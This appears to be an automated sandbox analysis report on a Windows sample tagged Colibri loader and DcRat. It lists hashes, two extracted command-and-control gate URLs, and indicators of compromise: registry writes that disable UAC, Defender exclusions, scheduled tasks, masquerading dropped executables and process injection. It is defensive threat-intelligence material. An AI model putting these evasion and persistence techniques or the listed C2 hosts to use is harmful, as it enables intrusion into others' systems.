colibri | 15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5

Analysis

max time kernel
150s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25/11/2024, 20:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Size

4.9MB
MD5

0ebd2dc160f7d5627aef291ba8fe1723
SHA1

f19f6aae9588fa548e768924114b4a6ca6021c9e
SHA256

15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5
SHA512

aa5dd361118de60d42e5cb1fec62011cda145d721c04f736d2e27984e7eb478e884bacc5f5ac7b957d3e2786035341d1906886a0eed511ec3e54278e68dbc161
SSDEEP

49152:bl5MTGChZpxtlBBgxchXb/zqP6DUtRgs5q289dAnSz44hnW1XgnYu6fYmPkMSx82:u

Score

10^/10

colibri dcrat build1 discovery evasion execution infostealer loader rat trojan

Malware Config

Extracted

Family

colibri

Version

1.2.0

Botnet

Build1

http://zpltcmgodhvvedxtfcygvbgjkvgvcguygytfigj.cc/gate.php

http://yugyuvyugguitgyuigtfyutdtoghghbbgyv.cx/gate.php

rc4.plain

Signatures

Colibri Loader
A loader sold as MaaS first seen in August 2021.
loader colibri
Colibri family
colibri

DcRat 64 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

description	ioc	pid	Process
File created	C:\Program Files (x86)\Windows Defender\fr-FR\6203df4a6bafc7		15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
		2192	schtasks.exe
		4872	schtasks.exe
		3644	schtasks.exe
		2776	schtasks.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA		15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Windows Mail\f3b6ecef712a24		15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
		4568	schtasks.exe
		4468	schtasks.exe
		4712	schtasks.exe
		4456	schtasks.exe
		412	schtasks.exe
		772	schtasks.exe
		1436	schtasks.exe
		4464	schtasks.exe
		4816	schtasks.exe
		3048	schtasks.exe
		4808	schtasks.exe
		1440	schtasks.exe
File created	C:\Windows\Containers\886983d96e3d3e		15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
		2880	schtasks.exe
		4936	schtasks.exe
		4896	schtasks.exe
		2140	schtasks.exe
		2988	schtasks.exe
		1996	schtasks.exe
		3920	schtasks.exe
		1684	schtasks.exe
		2028	schtasks.exe
		3728	schtasks.exe
		1128	schtasks.exe
		2332	schtasks.exe
		1036	schtasks.exe
		3480	schtasks.exe
File created	C:\Program Files\Microsoft Office 15\ClientX64\ee2ad38f3d4382		15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
		1840	schtasks.exe
		3460	schtasks.exe
		4960	schtasks.exe
		2880	schtasks.exe
		3552	schtasks.exe
		400	schtasks.exe
		2456	schtasks.exe
		1840	schtasks.exe
		3732	schtasks.exe
		5108	schtasks.exe
		2776	schtasks.exe
		4136	schtasks.exe
		1940	schtasks.exe
		1984	schtasks.exe
		380	schtasks.exe
		1408	schtasks.exe
File created	C:\Program Files (x86)\Windows Defender\38384e6a620884		15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
		316	schtasks.exe
		3396	schtasks.exe
File created	C:\Windows\SystemResources\Windows.UI.SettingsAppThreshold\SystemSettings\Assets\ee2ad38f3d4382		15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
		4332	schtasks.exe
		2024	schtasks.exe
		3444	schtasks.exe
		2460	schtasks.exe
		432	schtasks.exe
		4612	schtasks.exe
		540	schtasks.exe
		4568	schtasks.exe
		1784	schtasks.exe

Dcrat family
dcrat

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1784	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2988	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4720	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3920	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2192	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1940	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1684	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2456	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3576	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4260	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1996	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4568	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	540	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2488	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5076	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3480	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3396	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4860	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3752	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4460	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2776	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3248	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1528	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4936	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3716	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3900	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2780	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1052	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1188	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	772	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2028	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2880	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	400	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4332	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1440	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4784	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	380	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1840	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4136	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1036	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1408	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4808	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2024	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3552	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1480	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	216	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3444	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3788	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3508	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4896	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4936	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1984	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4396	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1436	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4264	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2140	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4712	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3460	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	952	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1792	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2460	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4456	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	432	2236	schtasks.exe	83
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3728	2236	schtasks.exe	83

UAC bypass 3 TTPs 42 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	lsass.exe

DCRat payload 1 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/memory/4640-3-0x000000001B620000-0x000000001B74E000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 22 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2488	powershell.exe
4268	powershell.exe
4692	powershell.exe
1800	powershell.exe
716	powershell.exe
1732	powershell.exe
2848	powershell.exe
4616	powershell.exe
1944	powershell.exe
2748	powershell.exe
5076	powershell.exe
4796	powershell.exe
4568	powershell.exe
3460	powershell.exe
540	powershell.exe
3608	powershell.exe
2132	powershell.exe
4576	powershell.exe
1056	powershell.exe
2604	powershell.exe
3732	powershell.exe
976	powershell.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	lsass.exe

Executes dropped EXE 42 IoCs

pid	Process
2316	tmp93A6.tmp.exe
3788	tmp93A6.tmp.exe
3452	tmp93A6.tmp.exe
3152	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
1904	tmpD8BC.tmp.exe
2808	tmpD8BC.tmp.exe
1904	lsass.exe
3048	tmp9FE.tmp.exe
3192	tmp9FE.tmp.exe
1260	lsass.exe
4456	tmp2824.tmp.exe
4932	tmp2824.tmp.exe
1648	tmp2824.tmp.exe
4176	lsass.exe
740	tmp58BA.tmp.exe
1900	tmp58BA.tmp.exe
1932	lsass.exe
868	tmp771F.tmp.exe
876	tmp771F.tmp.exe
3716	lsass.exe
4312	tmpAAE1.tmp.exe
4536	tmpAAE1.tmp.exe
4284	lsass.exe
2884	tmpDBC5.tmp.exe
2160	tmpDBC5.tmp.exe
452	lsass.exe
4908	tmpEAC.tmp.exe
3388	tmpEAC.tmp.exe
1880	lsass.exe
3492	tmp3EA5.tmp.exe
2356	tmp3EA5.tmp.exe
3716	tmp3EA5.tmp.exe
3728	lsass.exe
1480	tmp6E7F.tmp.exe
2344	tmp6E7F.tmp.exe
4944	lsass.exe
4924	tmp8C0A.tmp.exe
436	tmp8C0A.tmp.exe
4988	lsass.exe
212	tmpA85C.tmp.exe
4464	tmpA85C.tmp.exe
2028	lsass.exe

Checks whether UAC is enabled 1 TTPs 28 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	lsass.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lsass.exe

Suspicious use of SetThreadContext 13 IoCs

description	pid	Process	procid_target
PID 3788 set thread context of 3452	3788	tmp93A6.tmp.exe	132
PID 1904 set thread context of 2808	1904	tmpD8BC.tmp.exe	221
PID 3048 set thread context of 3192	3048	tmp9FE.tmp.exe	253
PID 4932 set thread context of 1648	4932	tmp2824.tmp.exe	264
PID 740 set thread context of 1900	740	tmp58BA.tmp.exe	273
PID 868 set thread context of 876	868	tmp771F.tmp.exe	282
PID 4312 set thread context of 4536	4312	tmpAAE1.tmp.exe	292
PID 2884 set thread context of 2160	2884	tmpDBC5.tmp.exe	301
PID 4908 set thread context of 3388	4908	tmpEAC.tmp.exe	310
PID 2356 set thread context of 3716	2356	tmp3EA5.tmp.exe	320
PID 1480 set thread context of 2344	1480	tmp6E7F.tmp.exe	329
PID 4924 set thread context of 436	4924	tmp8C0A.tmp.exe	338
PID 212 set thread context of 4464	212	tmpA85C.tmp.exe	347

Drops file in Program Files directory 50 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Windows Defender\38384e6a620884	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\fontdrvhost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files\Microsoft Office 15\ClientX64\RCX982D.tmp	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\SearchApp.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\ModifiableWindowsApps\Registry.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files\Windows Mail\spoolsv.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files\Windows Sidebar\sihost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files\Internet Explorer\it-IT\RuntimeBroker.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files\Windows Portable Devices\TextInputHost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\RCX9F16.tmp	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File created	C:\Program Files (x86)\Microsoft.NET\RedistList\5940a34987c991	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\uk-UA\unsecapp.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
File opened for modification	C:\Program Files (x86)\Windows Multimedia Platform\TextInputHost.exe	15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5.exe
